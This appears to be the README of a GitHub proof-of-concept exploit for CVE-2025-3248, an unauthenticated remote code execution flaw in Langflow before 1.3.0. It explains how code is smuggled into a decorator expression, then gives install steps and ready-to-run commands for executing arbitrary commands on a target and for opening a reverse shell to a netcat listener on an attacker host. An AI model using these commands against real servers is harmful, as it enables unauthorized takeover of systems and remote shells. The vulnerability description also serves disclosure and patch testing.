leotheggman/langflow-rce-cve-2025-3248Proof-of-concept exploit for CVE-2025-3248, a remote code execution vulnerability in Langflow, demonstrating exploitation of the vulnerable endpoint.
A clean, tested proof-of-concept for CVE-2025-3248, an unauthenticated remote code execution vulnerability in Langflow versions prior to 1.3.0.
Langflow's /api/v1/validate/code endpoint accepts Python code for static
validation without requiring authentication. Because Python evaluates
decorator expressions and default arguments at function-definition
time — before the function body ever runs — an attacker can smuggle
arbitrary code execution into a decorator expression:
✅ Unauthenticated command execution ✅ Reverse shell mode (no target-side netcat needed) ✅ Built-in detection signal (checks for 'NoneType' marker) ✅ Clean modular structure ✅ Verified against Docker images 1.1.4 (vulnerable) and 1.3.0 (patched)
git clone https://github.com/LeotheGGman/Langflow-RCE-CVE-2025-3248.git cd Langflow-RCE-CVE-2025-3248 python3 -m venv venv source venv/bin/activate pip install -r requirements.txt
python3 exploit.py -u http://target:7860 -c "id > /tmp/pwned.txt"
Fire a reverse shell
Terminal A (your listener)
nc -lvnp 4444
Terminal B
python3 exploit.py -u http://target:7860
--revshell --lhost 172.17.0.1 --lport 4444
Verbose mode python3 exploit.py -u http://target:7860 -c "whoami" --verbose
